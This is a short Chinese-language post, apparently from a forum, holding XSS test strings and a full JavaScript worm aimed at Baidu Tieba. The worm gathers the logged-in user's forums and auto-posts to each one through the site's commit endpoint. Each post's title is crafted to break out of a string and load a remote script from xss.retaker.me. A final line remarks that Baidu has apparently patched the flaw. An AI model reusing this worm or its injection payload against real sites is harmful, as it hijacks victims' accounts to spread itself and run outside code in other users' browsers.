规划将根据韩国<sc ript>aler
t('helloWorld')</script>是谁说的都是

<IMG SRC=javascript:alert(“XSS”)>

var forumName = [];
var forumId = [];
for (var i = 0, j = 0; i < PageData.user.user_forum_list.info.length; i++) {
if (PageData.user.user_forum_list.info.user_level > 3) {
if (PageData.user.user_forum_list.info[i].forum_name!="贴吧监控") {
forumName[j] = PageData.user.user_forum_list.info[i].forum_name;
forumId[j] = PageData.user.user_forum_list.info[i].id;
j++;
}
}
} function madeit(myKw, myFid) {
var c = rich_postor._getData();
c.content="\u8bf7\u5141\u8bb8\u6211\u505a\u4e00\u4e2a\u5fe7\u4f24\u7684\u8868\u60c5\uff0c\u662f\u5fe7\u4f24\u54e6\uff01";
c.ftid = c.fid;
c.ptid = "2337150032";
c.title = '\u70b9\u8fdb\u6765\u6709..",a:$.getScript(\'//xss.retaker.me/1.js\'),a:"';
c.fid = myFid;
c.kw = myKw;
$.post("/relay/commit", c);
}
//now begin!
for (j = 0; j < forumName.length; j++) {
setTimeout("madeit('" + forumName[j] + "','" + forumId[j] + "')", 1500 * j);
}

百度应该 堵完了 XSS attack